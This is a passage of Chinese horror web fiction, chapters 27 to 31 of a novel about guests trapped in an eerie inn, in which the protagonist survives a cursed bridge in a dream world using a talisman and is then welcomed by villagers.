吴樊祐语重心长地说:“学姐,你不会现在还在为那个毒妇考虑吧……我都不知道是她蠢还是你蠢了,她都敢给你安排寒梅房了,你有什么不敢做的?” 俞小澄恍然大悟,当别人对自己释放恶意时,为何自己从来都是忍让,从没有想过反击呢? 这似乎已经成了她的一种习惯,一味的退让,退到自己再无立足之地。 俞小澄想了想,问:“那我不是应该直接抢雏菊房卡么?” 吴樊祐噗嗤一笑:“你可算回过神来了。” 俞小澄突然又觉得哪里不对,斜睨了吴樊祐一眼,质疑道:“我刚才好像听到你骂我,蠢?” “没有啊。”吴樊祐东张西望,一副脸不红心不跳的模样,开口糊弄道,“学姐听错了吧,我说禾苒蠢。” 张尧举起手来,公正无私地说道:“我可以作证,他确实骂你蠢。” 吴樊祐正要捶张尧,便听俞小澄呵呵一笑,转身就往楼上走去,他急忙追上去,跟只蜜蜂一样绕着俞小澄转个不停,嘴里一直道歉求饶。 张尧叹了一口气,摇了摇头,觉得吴樊祐这个人有些可笑,对别人一副天不怕地不怕的模样,对俞小澄这种不敢拿他怎样的人,倒是一句重话都不敢讲。 定了定心神,渐渐心中有了决断,张尧快步追了上去,对二人说:“行吧,今晚我们也打劫一把雏菊房。” 俞小澄点了点头。 但吴樊祐阴阳怪气地说了句:“还得看有没有这个机会。” 俞小澄和张尧面面相觑,待要多问两句,只听吴樊祐说:“肚子饿了,赶紧去吃晚饭吧。” 他说罢不再多言,催促着二人往楼上走去。 晚饭过后,众人再次在大厅重聚,可这一次,张尧不再与禾苒坐在一起,反而跟着俞小澄二人坐在了靠近前台的角落里。 对于这一反常现象,禾苒没有过问一句,悠然自得地与今晚将随她一同进入梦境的队友谈天说地。 “你在那女人眼里,还真没什么分量。”吴樊祐趁机煽风点火了一句。 张尧淡然地回道:“我们的联盟不过是弱者抱团取暖,本来就不牢靠,说到底,我们认识不过五天,能有什么分量?” “认识五天你就给人挡刀?” “那是因为苒姐以前在梦境里救过我,知恩图报是美德你懂不懂?再说了,我是知道死不了,才上去帮忙的,不像你,见死不救……” “嘿,我也是知道你们死不了,才懒得出手!” 27. 室友 《我好像住进了黑店》全本免费阅读 当陈奇有气无力地出现在大厅时,他的嘴角难以抑制上扬,眼里全是对禾苒的嘲笑,他纵情大笑,俨然一个疯子。 他身上的伤已经痊愈,但发黑的血渍还记录着上午那场打斗的惨烈,为他此刻的癫狂渲染出一丝诡异。 大厅里的众人因为他的到来安静下来,谁都希望此时能有人能够站出来主持大局,即使这个人九个小时前还被所有人唾弃。 “你们的私人恩怨,跟我没啥关系哈!” 第一个站出来与禾苒撇清关系的是西装男,他摆着手往边上挪了几步,惟恐陈奇记仇拿他开刀。 壮硕男人倒是义气,上前一步,将失魂落魄的禾苒拉到身后,戒备地注视着陈奇。 其他人虽然没有说话,但行动表明了他们的立场,只见众人纷纷像西装男一样退到一旁,谁也不想卷入二人的争斗之中。 俞小澄和张尧根本无心将注意力放在这两股势力的任一方,不约而同回头看了看吴樊祐。 张尧悄悄问俞小澄:“小澄姐,你觉不觉得……那小子好像什么都知道?” 他的话说中了俞小澄的心事,她一直隐隐约约觉得很多事太过凑巧,吴樊祐似乎知道的比任何人都多,明明他是与自己同一天来到这里的新人,这很不正常。 但此刻不是纠结这事的时候,眼前的幽兰房决定了他们今晚的生死。 俞小澄没有表明观点,只是冲张尧做了个噤声的手势,然后壮着胆子朝着陈奇说道:“今晚所有人都不得不进入幽兰房,就算在这里争吵对错也没有意义,如果齐哥知道什么,还麻烦透露一些。” 话是说出了口,可俞小澄看着陈奇脸上阴冷的笑,还是有些心虚,特别是回想起他上午拿着玻璃碎片刺伤两人的画面,更是不寒而栗。 陈奇这个人性子比较急,跟个炸药桶似的,一点就燃,心眼子有,但不多,做事心狠手辣,却也会审时度势。 他一眼扫过柜台上的房卡,啐了一口唾沫星子,骂道:“真特么晦气,我在这儿过了十六晚,还是头一回看见清一色的幽兰。” “很凶险吗?”萍萍躲在阿宿身后,带着哭腔问了一句。 陈奇瞥了在场众人一眼,随即指着禾苒说:“要我告诉你们也可以,只要这贱人跪下来给我道歉,并把手上道具都交出来。” 禾苒闻言抬起头,看见站在陈奇身后的肖雪,只见对方目光闪躲,料想必定是她通风报信。 “你一个大男人也别太过分。”说话的是壮硕男人,他摩拳擦掌威胁着陈奇。 体型上的差异让陈奇产生一丝迟疑,摸着下巴盘算了片刻,冷笑着说:“行,算我倒霉,不道歉也可以,但是道具总得交出来,以示和解的诚意。” 禾苒看上去很是抗拒,咬着牙沉默不语,壮硕男人见状好心劝道:“给他吧,不过是道具。” “交出去我会死的……”禾苒声音微弱。 壮硕男人自信满满地说:“别怕,进去我保护你,他不敢拿你怎么样。” 只有清楚梦境中会经历什么的人,才明白禾苒怕的不是陈奇,而是没有道具的保护,会死在恶灵手中,这也正是陈奇心里盘算的,他想送禾苒去死。 见禾苒没有动,陈奇走到前台,拿起一张房卡,冲肖雪招了招手,大摇大摆地往电梯口走,嘴里嚷道:“劳资没时间陪你们耗着,既然不同意,那我也没什么好说的。” 一看陈奇要走,原先沉默的众人全都紧张起来,纷纷开口劝说禾苒。 “哎哟仙人勒,你就给他嘛,给他未必会死蛮?” “是啊,不就一瓶水,一袋破饼干,有啥好舍不得……” “苒姐,你是拿我们的命开玩笑呢?” 有几根墙头草立马调转枪头,对着禾苒就是一顿输出,倒是把自己摘得干干净净。 在舆论压力下,禾苒不得不低了头,乖乖交出刚捂热的两个道具。 陈奇接过东西,得意笑了起来,慢悠悠地说道:“这幽兰梦境啊,我刚到旅店时跟着几个有经验的老手进去过一次,能活着出来纯粹是侥幸,连老手都可能折在里面。” “折在里面?折在里面会怎么样?”萍萍紧张地问道。 一句话逗得陈奇哈哈大笑,不客气地喷道:“你是不是脑子不好使?你觉得能怎么样?难道还能回家了吗?当然是死了啊!” “你怎么知道都死了?”吴樊祐不知何时站在了柜台里,双手撑着柜台,满脸好奇地问道。 陈奇一见吴樊祐就心烦,敷衍地说:“你管我怎么知道的。” 吴樊祐摆出一副思考的样子,自说自话道:“万一别人都是找回记忆回家了,只有你一直坚持留守旅店里,逢人就吹嘘睡过十五晚,你不觉得很傻吗?” “你!”陈奇气得语无伦次,“我乐意!你管得着吗?你能活这么多晚吗你?” “我可不敢跟你比。”吴樊祐笑得眼睛眯成一条缝,随意拿起一张房卡,冲俞小澄点头示意,漫不经心地补充一句,“我累了,要先回房休息了,你们慢慢聊,不过一个只进幽兰房间一次的人,我不认为他能告诉你们什么有用信息。” 俞小澄觉得,吴樊祐一定是陈奇的克星,总是一句话就能让陈奇破防,看着在大厅里发飙却拿吴樊祐没有办法的陈奇,她觉得有些好笑。 她也拿上一张房卡,叫上张尧,追着吴樊祐往楼梯间走,不再理会大厅里的不安与吵嚷。 刚走进楼梯间,身后传来一阵脚步声,一声“等等”及时叫住了三人,三人转过头,只见那个背着名牌包包的漂亮女生追了上来。 三人只是安静地盯着她,谁也没有说话。 漂亮女生将长发往耳后一捋,甜甜地笑着对俞小澄说:“小姐姐,我叫白羽楠,可以和你住一间吗?” 俞小澄有些恍惚,眼前的女生看上去很年轻,有种女大学生的青春活力,长相绝对属于惊艳那一类,妥妥的白富美校花。 这样的人竟然会同自己说话,俞小澄一时有些丢了魂,一个“好”字在喉咙里绕了几圈,才终于到了嘴边,可还没说出,便被碍事的人截了胡。 “不行!”吴樊祐一口回绝。 三个人的目光几乎同时射向吴樊祐,有人鄙视,有人茫然,有人震惊。 “呃,她是你女朋友?”白羽楠诚心发问。 俞小澄急忙摆了摆手解释:“不是,他是我大学学弟,他应该有女朋友的。” 吴樊祐面色有些阴沉,瞪了一眼白羽楠,说话的语气里似乎带着一点怒气:“不会聊天不如不聊,我学姐还要回来家结婚呢!” 俞小澄顿时尴尬地笑了笑,低声呢喃:“怎么这话听着不太吉利……感觉我今晚得交代在这里……” 白羽楠表面上看上去是那种柔柔弱弱的洋娃娃,可实际上说话相当直率, 28. 梦境(二) 《我好像住进了黑店》全本免费阅读 难道真的被吴樊祐猜中,当真是野外求生? 这个念头自然而然出现在俞小澄的脑海中,她开始努力思索起来,在这样一个山清水秀的地方能够遇上什么致命的危险? 天然的瘴气、无法预知的沼泽、致命的小生物……若是再加上巨蟒毒蛇、狮子老虎、豹子黑熊等等,俞小澄感觉要把整个动物园搬山里来了。 “姐姐,你傻站着干嘛?”招财的声音从身后传来。 俞小澄一转身,便看到招财进宝一脸兴奋地飘在半空中,似乎这样贴近大自然的机会对他们来说也是难得。 “哦,我正在考虑该往哪儿走。”俞小澄说。 招财拍拍胸脯,得意洋洋地说:“哎呀,这种事交给我,我去空中给姐姐探探路。” 说罢,也不等俞小澄回答,便自顾自地飞向上空。 俞小澄抬头望着慢慢缩成小黑点的身影,喃喃自语:“想不到还有这好处,跟带了张活地图没什么区别,可以啊……” 和俞小澄一起留在原地的进宝也不消停,对四周充满了好奇,一会儿这里看看,一会儿那里瞅瞅,还不停唤着俞小澄,语气里满是惊喜。 “姐姐,这河里有鱼,你快来看啊。” “哇,这里还有蘑菇,不知道有没有毒。” “姐姐,你看那里还有只兔子,哎呀,跑了……” 俞小澄被她吵得头疼,跟个带孩子的幼儿园老师一样,跟在进宝屁股后面,招呼她慢点,唯恐她一个不小心把自己跑丢了。 不过也因此在这附近转了转,发现只有一条被人踩出来的小径,一直往两端蔓延着,一端盘旋进入深山,一端没入无边无际的森林。 跑累了的俞小澄在河边找了块光滑的大石头坐下休息,并招呼着依然兴致不减的进宝:“你先别逛了,我有事想问你。” 进宝闻言停了下来,眨着圆圆的眼睛往俞小澄的方向飘了回来,乖巧地等待俞小澄发问。 俞小澄想问的自然关于昨晚的梦境,她想确定透明人到底说了什么。 进宝一听到“透明人”三个字,犹如惊弓之鸟,哆哆嗦嗦又抱紧了俞小澄的大腿,声音颤抖地说出了与张尧相同的话——“谢谢你找到我,接下来该轮到你了,可怜虫。” 俞小澄狐疑地皱起了眉头,张尧的确听到了透明人留下的话,那为什么吴樊祐没有听到呢? 如果吴樊祐没有说谎,那就只能是透明人不想或者不能让吴樊祐听到,可为什么呢? 而吴樊祐又为什么要撒谎呢?这句话对他有什么影响吗? 无数的谜题摆在她眼前,如同厚重的雾气,遮掩住前进的路,让她一时不知道该往哪儿走。 忽然,招财的声音打断了她的思绪:“姐姐,山上有好多穿着古装的人,好像在拍戏。” “哈?” 看着从天上飞回来的招财,俞小澄一脸茫然,怀疑自己是不是听错了,反复确认了一遍。 “真的,山顶上的建筑也好复古,看上去像是古代门派,我看山门牌匾上还写着‘仙门’二字。”招财语气肯定地答道。 仙门?俞小澄简直难以想象,上一个梦境入的是职场,这次要改走片场了?那么,这场梦境里面的恶灵又将是什么样子呢? 俞小澄打从心底希望恶灵的样子不要太恐怖,因为这一次可没有道具耳机给她屏蔽高能了。 正当俞小澄想往山上走去时,招财又说:“姐姐,你要上山吗?我刚看到山下还有一个村子,里面也有一群古装打扮的村民,不知是不是另一个片场。” 俞小澄顿时犹豫了,据招财从空中观测,她现在所处的位置十分尴尬,沿路往上去仙门要走一小时,沿路往下去村子也要走一小时。 拿不定主意的她询问招财是否看到吴樊祐所在的位置,然而得到的答案是否定的,无奈想了想,她毅然转身往山下走去。 “姐姐直觉那个大哥哥在山下村子里?”进宝飘到她身旁,天真地问道。 俞小澄摇了摇头:“不是,只是上山比下山累些。” 招财:“……好理由。” 阳光明媚的日子漫步于生机盎然的森林,本应该是一件十分惬意的事,可俞小澄走了一会儿,就感觉到阵阵难以言喻的阴风,穿过林中缝隙,顺着她的脚踝往身上爬。 身后的林子里不时传来窸窸窣窣的声音,可俞小澄回头环顾四周,除了偶尔飞过一只不知名的小鸟,再没别的。 可每当俞小澄继续往前走,那种窸窸窣窣的声音又会追上来,就像阴魂不散的厉鬼,藏在不远不近的暗处伺机而动。 些许的不安在心里发酵,脚下的步伐也不由得加快,可不管她走到哪里,那肆虐的阴风都紧贴着地面爬上她的脚踝,令人头皮发麻。 不知走了多久,晴朗的天空被乌云遮挡,天色瞬间阴沉下来,空气中弥漫着暴雨将至的气息,妖风穿过成片的树林,发出呜咽的呻吟。 森林的深处隐隐约约传来苍老而沙哑的呼声:“救命啊,救救我……” 这一阵呼声喊得俞小澄浑身一激灵,进宝被吓得直接钻进她怀里,两个胆小的人抱团取暖般贴在一起,紧张地观望四周。 俞小澄手挡在嘴边,压低声音朝招财喊道:“要不你去看看,是人还是鬼啊?” 招财有些怕麻烦,索性提议道:“要不咱们假装没听到?” 在恐惧面前,俞小澄也想这么做,可又害怕对面真的有人命悬一线,就因为自己的无视而无力回天,如果就此揭过还好,就怕万一什么时候知道了结果,从此要受良心的谴责。 于是她双手合十举过头顶,微微低头一拜:“拜托了,去看看吧。” 招财叹了口气,径直飞往声音传来的方向,不一会儿又飞了回来,大惊失色地喊道:“新来那老头掉坑里了!” 这下俞小澄不得不往山林深处走去,她可不希望回到旅店时,被谁冠上见死不救、有意谋害等罪名。 小心翼翼往前走,那沙哑的呼声越来越近,直到地面走势出现落差,前面的路仿佛断了一截,有一棵大树刚好立在断路上,有一半树根全暴露出来。 俞小澄缓缓走过去,倚住树干往下看,只见前面出现一个大坑,如同地震震裂了地面,塌陷出一道两米多高的壕沟,往两边延伸很远,正对树下则扩散成一个半圆。 浑身是伤的老人就靠坐在半圆的岩壁边,耷拉着脑袋,一只脚从膝盖处折断,断裂的骨头染着血戳穿布料裸露在外面,身下大片血迹黏糊糊地混在泥土里。 老人双目无神地盯着前方,如果不是嘴巴一张一合发出求救声,恐怕看见的人都会以为他已经死了。 “老大爷!能听到我说话吗?您再坚持一下,我想办法下去。” 俞小澄慌慌张张招呼着,然后迅速在四周搜索,放眼望去,林中一些大树干上缠绕着的藤蔓或许是当下唯一用得上的东西了。 脑子飞速运转,她计算着用藤蔓下到坑底,再用藤蔓把老人固定住,然后自己回到上面把人拉上来的可行性。 这是现在这个时候她能想到最好的方案,然而,当她拉扯藤蔓时才发现,那藤 29. 梦境(二) 《我好像住进了黑店》全本免费阅读 走出森林时,太阳从乌云后露出小半张脸,眼前豁然明朗,阳光普照,回头再看林中,依然阴森森的,判若明暗交界处的两个世界。 森林外,一条五十多米宽的长河拦住了去路,河对岸就是招财所说的村子,河岸两边由一座破旧不堪的木板桥连接,桥下河水汩汩流淌,撞上桥墩形成漩涡。 木板桥上没有栏杆,桥面的木板看上去十分陈旧,因为年久失修,不少地方脱落,露出大大小小的破洞。 俞小澄咽了咽唾沫,颤抖着双腿走上了木板桥,每走一步前,都要先用脚试探一下前面的木板是否牢固,然后才敢往前一步。 前面一段路,她尽量往中间走,唯恐身体失衡,一头栽进河中,可走到一半时,破损的木板让她不得不为了避开而偏向一侧。 正在这时,有什么东西撞上了桥墩,震得整座木桥跟着晃悠,俞小澄险些掉下桥,幸好及时俯下身放低重心,双手触地,跪坐在了桥面上。 透过身旁的破洞,可以看见被河水淹没大半的桥墩,河水清澈,足以见底。 俞小澄反复调整姿势,将桥下盯了个仔细,却没有发现异样之处。 她不禁怀疑,莫非方才是自己紧张产生的错觉?又或者是木板桥年久失修,承受不住她的重量,才会摇晃起来? 不管是哪一种情况,她都觉得不该继续停在原地,急忙从桥面上爬起身,加快脚步往对面走去。 谁知刚走两步,脚下再次传来震动,桥面随之摇晃,俞小澄再次趴在了桥面上。 这一次,她可以确定震动来自外力,透过木板之间的缝隙再次向桥下看去,除了围着桥墩打转的河水,再无其他能动的东西。 俞小澄靠四肢在桥面挪动,时刻通过缝隙注视着桥下水面,她不信这样还看不见究竟是什么在撞击桥墩。 在她目不转睛的注视下,果然不再出现震动,她索性就这么在桥面上爬行,直到又避开几个破洞后,一股异样的感觉浮上心头。 俞小澄动作一顿,身子陡然僵硬,缓缓扭动脖子回过头,望着刚刚经过的一个破洞,内心挣扎了良久。 “看错了,一定是看错了,恐怖片的禁忌是好奇心重。” 她用微弱的声音对自己说,反复念叨几遍后,她硬着头皮直视前方继续往前爬去。 然而,移开向桥下看的目光后,木桥再次晃动起来,一次接着一次,桥下似乎有什么东西发了疯,不停地撞着桥墩,跟随着俞小澄移动,始终在她所处位置的正下方。 有一两次,俞小澄险些被冲击力震下桥,死死抓住边缘才勉强稳住身子。 桥下的东西不死心,桥上的人也不放弃,如此僵持了许久,俞小澄距离对岸还剩十米。这样的距离说远不远,说近也不近,她开始估算着自己一口气跑过去而不跌下桥的几率。 虽然对自己的实力并无自信,可一直僵持下去,她不知道这剩下的十米会不会将等同于自己剩余的生命。 思索片刻后,俞小澄从桥面上站起身,拼尽全力奔跑出去,最多十步,她就可以离开这座古怪的木板桥,心里默默倒数着:“十、九、八……” 桥下震动愈发激烈,好几次她差点崴伤脚失去平衡,全凭着求生意志稳住摇晃的身子。 “七、六、五……” 眼看着终点将至,俞小澄半点不敢松懈,可须臾之间,撞击戛然而止,四周重归静寂,如同幻觉消失。 俞小澄心中莫名不安,距离岸边不过几步,她没有犹豫地继续朝着终点冲去。 “四、三、二……” 最后一步,她双脚离地一跃而起,在胜利的喜悦中稳稳落地,但在落地的一瞬间,她彻底懵了——她回到了木板桥的另一端。 村子与她之间,依旧隔着一条五十多米宽的长河,而她刚踏上木板桥一步,就像恍惚间做了一场过桥的梦,如今梦醒了。 俞小澄茫然地回头看了看阴暗的森林,一时不知该转身离开,还是继续前进。 这就是幽兰梦境吗? 从森林再到这里,处处透露着诡异,偏偏一进来就都让她遇上了,开局不过一个多小时,先有老大爷领盒饭,现在似乎要轮到自己了。 前后两端来回看了几遍,权衡之下,她觉得或许退回森林往山上去更为合理,毕竟这桥上的玩意儿太超出她的认知。 如她这般喜欢刨根问底的人,面对这座桥,也丝毫没有探究的冲动,一切无法用科学解释的东西,好奇就等同于作死。 于是她向着桥下迈了一步,只需要一步就可以下桥,可脚落下时,踩上的不是坚实的地面,依然是嘎吱作响的木板。 怎么回事?俞小澄有些紧张,目不斜视地盯着脚下,她每踏出一步,感觉脚下的桥面就往前延伸一步。 又或者说,她一直在桥头原地踏步,因为她环顾四周,发现自己的位置从未改变。 这下俞小澄更慌了,她似乎被彻底困在桥上,进退维谷。 她蹲下身子抱着头,不停告诉自己:“冷静点,不要被恐惧左右,不要停止思考,一定有办法的。” 这种心理暗示渐渐起了作用,深呼吸几口,她的情绪逐渐稳定,打坐一般坐在桥头,望着这条五十来米长的木板桥,努力思索着。 桥下一定有什么,就像森林里附在老大爷身上的那玩意儿一样,也许是属于这个梦境的恶灵。 三号客服曾说过,梦境规则各不相同,这句话也同时意味着每场梦境都有特定的规则,她两次遭遇怪事,都没有立即毙命,会不会这些恶灵杀人也必须遵循规则? “姐姐,你干嘛呢?” 招财进宝从桥的另一端迅速飞了过来,似乎她刚才突然被传送到桥这一端时,他们二人并没有受到影响,一回头才发现她不见了。 俞小澄叹了口气,无奈地说:“这座桥可能想留我作客……” “啊?说什么鬼话呢?这破桥莫非还有生命不成?”招财一边嘲笑着俞小澄,一边绕过桥洞飞了一周,回来后,脸都青了。 进宝见状,无比熟练地躲到了俞小澄身后,捂着耳朵问道:“你看到什么了?” 俞小澄有些哭笑不得,瞧进宝那架势,似乎并不打算听答案,那么这答案只会落进她的耳中,但是有什么东西她同样不想知道,于是她也跟着用手指堵住了耳朵,嘴里哼哼着:“啊啊啊……我耳朵怎么聋了……啊啊啊……听不见,听不见……” 招财对进宝倒是体贴,由着她捂住耳朵,但对俞小澄就没这么温柔,秉承着有难同当的优良传统,飞到俞小澄面前,一脸坏笑地说了声:“姐姐,对不住!” 紧接着,俞小澄脑中就传来了招财的声音,如同脑内电台,一字一句十分清楚,他说:“千万别看桥下,水里有双眼睛一直盯着你!” “啊啊啊啊啊!” 一声带着怒气的吼叫声在河面上回荡,俞小澄放下堵住耳朵的手,愤懑地盯着招财。 招财难为情地挠了挠头,往后飘出几米,与俞小澄保持着攻击范围外的安全距离。 俞小澄重重叹了口气,桥下有东西她方才就已经觉察到了 30. 梦境(二) 《我好像住进了黑店》全本免费阅读 五十多米的距离本不算远,走路只要一分钟左右,像俞小澄这样爬行的确会慢些,但也几分钟就可完成。 然而,这几分钟对俞小澄而言无比漫长,她害怕下一秒会从缝隙中看到恐怖的东西,却又不得不固定自己的视线。 路程过半时,她感觉桥下有一团模模糊糊的阴影一直跟随着自己,就像是自己的影子。 再继续爬下去,那影子似乎在一点点变化,越来越像模仿着她动作的镜面人影,而河面便是一面镜子,映照出桥上人的一举一动。 俞小澄嘴唇紧闭,感觉耳膜如同脉搏一般鼓动,她眉头紧锁,一股不祥的预感涌上心头,微震的瞳孔在宣告着内心的动摇。 “真的没问题吗?我是不是想错方向了?” 俞小澄在心里反复质问自己,直觉告诉她,继续这样下去可能会送自己上路,上黄泉路。一想到此处,她浑身僵硬,停在了原地,心道:“等等,再等一下,一定有别的办法……” 呼吸有些凌乱,肌肉因为紧张而酸痛,俞小澄揉了揉脖子坐起身来。 “姐姐怎么了?” 进宝一直捂着眼睛,任由招财拉着她轻飘飘的身子跟在俞小澄身后,可招财忽然停了下来,她提心吊胆地透过指缝望向俞小澄,声音颤抖地问道。 俞小澄没有回答,挠着脑袋回忆着所有细节。 招财壮着胆子又往桥下绕了一圈,回来时脸色更加难看,甩着头尖声说道:“怎么水下那双眼睛长出人形了,越看越像姐姐!” 一丝寒气顺着背脊游遍全身,皮肤上密密麻麻起了一层小疙瘩,俞小澄心下骇然,知道自己真的想错了。 或许,不能与怪物对视,对视会让它模仿人形,虽然不知道后面会发生什么,但绝对不会是什么好事。 如果说桥下怪物的目的是让人跌落河里,它又为何会因为视线停止攻击呢?两者之间其实并不矛盾,就算当着她的面,怪物也可以行动才对,但是它没有,或者说是不能。 如今她已知的有四点: 一是怪物不能直接攻击桥上的人,二是怪物可以困住桥上的人,三是怪物无法破坏木桥,四是视线能使怪物停止攻击,但同时怪物会与桥上的人越来越相似。 回想起缝隙中看到越来越像人形的影子,她觉得如果再继续下去,大概会发生点什么,到时候或许就没有退路了。 正在反思之际,桥下的怪物仿佛失去了耐心,又开始撞击桥墩,俞小澄只好双手撑着桥面稳住身子。 木桥反复的震动,对于寸步不移的俞小澄而言并没有太大意义,无法将她甩下桥去。过了好一会儿,桥下的怪物似乎也意识到这个问题,停止了撞击。 四周没了动静,只有桥下流水发出悦耳的哗哗声。俞小澄趁机在桥上摸索起来,直觉告诉她——关键就在这座桥上。 很快,她发现几乎每一根木板的中央都雕刻着像符箓一样的图案,不似装饰,更像是为了镇压邪物刻意为之。 一根线将俞小澄心中的谜团一一串起,她觉得或许这就是桥下怪物无法破坏木桥的原因,如果真是这样,那她待在桥上其实是安全的。 紧张的心情稍稍放松,她又觉察到一丝异样,桥下已经很久没有动静,仿佛怪物已经放弃离去,只有传入耳朵里的流水声渐盛,从悦耳变得略微嘈杂。 俞小澄转头向四周望去,无甚变化,只是河水的颜色由澄清透明变成碧绿见底。 这些微的色彩变化将俞小澄原本放下的心又提了起来,她找了个破洞,低下头目不转睛地看向桥墩,没过一会儿,心里直呼:“不好。” “又怎么了,姐姐?”进宝被她一惊一乍吓了一跳。 “水位在上升!”俞小澄紧张地回了一句,赶紧起身往岸上跑。 “啊?怎么可能?”招财难以置信。 “桥墩吃水线比之前高了不少,光是我盯着看的一会儿工夫就至少上涨了五公分,按照这速度,河面很快就会淹没木桥。”俞小澄边跑边解释。 看来沾水是禁忌,既然无法将她弄下桥去,那怪物便想令河水漫过桥面。 这种木板桥修得与岸边齐平,形状平直而非拱形,只要水位上涨,迟早会漫过桥面,届时,她无论如何都会触犯禁忌。 刚跑了两步,她蓦然停下了脚步,即使她跑到桥头也没用,迈出脚步的那一瞬间她又会回到原点,直到河水淹没桥面。 左顾右盼片刻,俞小澄心里拿定主意,冲向一处因年久失修破得还剩半截的木板,仔细一看,木板上的符箓保留完整。 俞小澄俯身从破洞处抓住木板,用力向上掰,试图将木板从桥面剥离。 可是木板十分结实,不管她如何手掰脚踹,都无法将木板弄断。 累得气喘吁吁时,只见河面距离桥身只余一拳距离,俞小澄忽然想到什么,从兜里摸出那张黄色符纸。 “瞧我这脑子,要啥木板,把符箓抄下来不就行了。”俞小澄暗骂一声,忽又想起身边没有笔,慌张地对招财说,“快去岸上帮我随便掰一小截树枝,不要太粗。” “啊?姐姐要树枝干嘛?”招财问。 俞小澄拍了拍兜里的打火机,又晃动手里黄色符纸,急急解释:“炭化当笔画符,快去。” “哇喔,姐姐好聪明!”招财一脸崇拜地望着俞小澄。 眼看河水就要漫上桥来,俞小澄焦急地催促,可招财不慌不忙地摇了摇头,说:“这黄符用笔可画不上去,还是我帮姐姐画吧!” 俞小澄虽有不解,可此情此景也容不得她细想,只得点头将符纸往招财身前递。 招财没有接黄符,而是径直穿进俞小澄身体,又将俞小澄撞入了那片深海。 她只见自己咬破手指,一股钻心的疼痛感如电流般席卷而来,疼得她直想骂娘,鲜红的血液从指尖涌出,如断线的血珠滴落桥面。 而招财控制着她的身体,动作没有一丝停顿,一手将符纸竖立拿起,带血的指尖点在符纸上,符纸如同海绵开始吸食血液,浸入纸面的血液仿佛有了生命,如流沙一般在纸面形成了图案。 那血红的图案与木板上的符箓一模一样,整张符纸散发出猩红的气场。 招财将符纸往肩上一贴,竟稳稳地粘在衣服上没有落下,一瞬间,俞小澄感觉一股暖意涌入心里,让人莫名安心。 再观桥下,嘈杂的流水声渐弱,水位亦缓缓回落,似乎是桥下的怪物丢失了攻击目标,悄悄消失在河里。 招财控制着俞小澄的身体,大摇大摆地走过木桥,毫无意外地顺利下桥,直到靠近村口,他才将符纸从肩上取下,而后离开了俞小澄的身体。 俞小澄看着手里那张符纸,纸面上 31. 梦境(二) 《我好像住进了黑店》全本免费阅读 “呵呵,修仙……” 俞小澄有些无语,刚才遇到的怪事就已经够让她觉得离谱了,如今又增加了修仙设定,她实在好奇所谓造梦者的精神状态。 “山上的NPC不会真打算教会我们修仙吧?”她说笑道。 吴樊祐耸了耸肩,轻松答道:“无所谓,反正我们只需要尽快找到记忆之门,然后离开这里。” “可是……从何找起?张尧也不知道被传送到哪里去了。”俞小澄东张西望,村子里除了吴樊祐,并没有其他住客的身影。 “张尧会怎样我并不关心,只要学姐能安全离开这里就行。”吴樊祐语气平静地说着。 这话听上去异常冷漠,可对方言语中对她的关心,令她不好意思多要求什么,于是沉默代替了一切。 细想之下,就算按照吴樊祐所说,只专注于寻找记忆之门,可诺大一座山,不知道要找到几时,况且,四周还藏着妖怪,俞小澄不敢保证自己每次都能幸运逃脱。 看了一眼招财背上的符纸,这确实是个保命神器,可是似乎只对使用者有效,那如果她与吴樊祐同时遇到危险,她又如何保护吴樊祐呢? 想的太多,她脑子里乱乱的,于是将自己在森林中看到老大爷遇害,以及村外木桥上遇到的怪事简单同吴樊祐说了一遍,试图告诉他这场梦境的危险。 二人的谈话刚好被前来送面的老板听了去,面摊老板插嘴道:“还好姑娘法术高强,村里可没人敢独自入山林,一旦遇上妖怪,那就没命了!” 使用道具被NPC误认为会法术,俞小澄哭笑不得,趁机问道:“我看木桥上刻着符箓,不知是何人所刻?” 招财说,木桥上的符箓有保护之力,而符箓不止一种,如果能知道是谁所刻,说不定能顺藤摸瓜找到别的符箓。 面摊老板一脸疑惑,指了指俞小澄二人,笑道:“姑娘真会说笑,那不是你们仙门的阜掌门为镇压村外妖怪施下的法术吗?” “噢,我今天刚入门,还没来得及打听副掌门的光辉事迹。”俞小澄干笑两声。 面摊老板上下打量着俞小澄,动了什么心思,话锋一转招呼道:“姑娘法术高强,不如今晚就留在村子里替大伙除妖吧!” 俞小澄摆着手正要拒绝,谁知面摊老板已经手舞足蹈地跑出去大肆宣传,直道仙门派了个厉害的弟子前来支援,一群村民被他忽悠着上前围观。 几十个村民里三层外三层将俞小澄团团围住,一边诉说着夜里凶险,一边感谢着仙门的救苦救难。 一听俞小澄二人是仙门派来除妖的弟子,村民的热情实在难以招架,有的盛情邀请二人到家里做客,有的愿意免费供应食物,最后不等二人拒绝,七嘴八舌地簇拥着二人往村子深处走去,好像唯恐一不留神让人溜了。 走了好一会儿,村民将两人送到一间别致的书院门前,门上牌匾写着“游冥书院”,从院子里传来琅琅读书声。 “嗯?这是要让我们去听课?”俞小澄小声嘀咕道。 一直紧随左右的面摊老板热情说道:“别误会,这书院是村里富绅出资修建的,也就这里环境最好,所以平日除了用作学堂,还作为仙门弟子的下榻处。” 随即有人敲了门,院内读书声被敲门声中断,过了一会儿,随着脚步声渐近,一位穿着朴素举止文雅的年轻男子开了门。 众人唤他“商先生”,似乎是这间书院的教书先生。 有人低声向商先生交代了几句,商先生点了点头,让到门边,朝俞小澄和吴樊祐做出请的手势,然后让众人留步,领着二人进了书院。 书院里环境十分清幽,一条石子小径蜿蜒着通往主屋,道路两旁种满竹子,院子里有山有水有凉亭,再往里走,几间屋子由竹制连廊连接成一圈。 来到主屋前,只见未关门的屋内坐着七八个十来岁的少年人,有男有女,全都伸长脖子一脸好奇地望向屋外。 商先生没有将二人带进主屋,而是在主屋前左拐,经过连廊到了左手边一间空房前。 这是一间类似书房的屋子,分为内外两间,中间由隔扇隔断,屋内陈设素雅简洁。 里间靠墙立着两个书架,架子上摆满书册画卷,一张书案摆在书架前,其上文房四宝齐全;外间靠窗摆着一张罗汉榻,榻上放着炕几,其上一个十分小巧的三足陶瓷香炉,此刻正从盖子的孔洞处升起一律青烟。 商先生将二人请进屋,客气说道:“两位且在此处休息片刻,待我授课完毕,再来招呼二位。” 说罢,向二人作揖道别,出去回了主屋,接着那被迫中断的读书声再度响起。 正当俞小澄和吴樊祐呆望着主屋方向莫名其妙之时,一个年纪只有十来岁的小厮端着茶水疾步走来,想来又是商先生的安排。 “小兄弟,你们村的人把我们绑这里干嘛?” 趁着小厮斟茶倒水的工夫,吴樊祐不客气地问道。 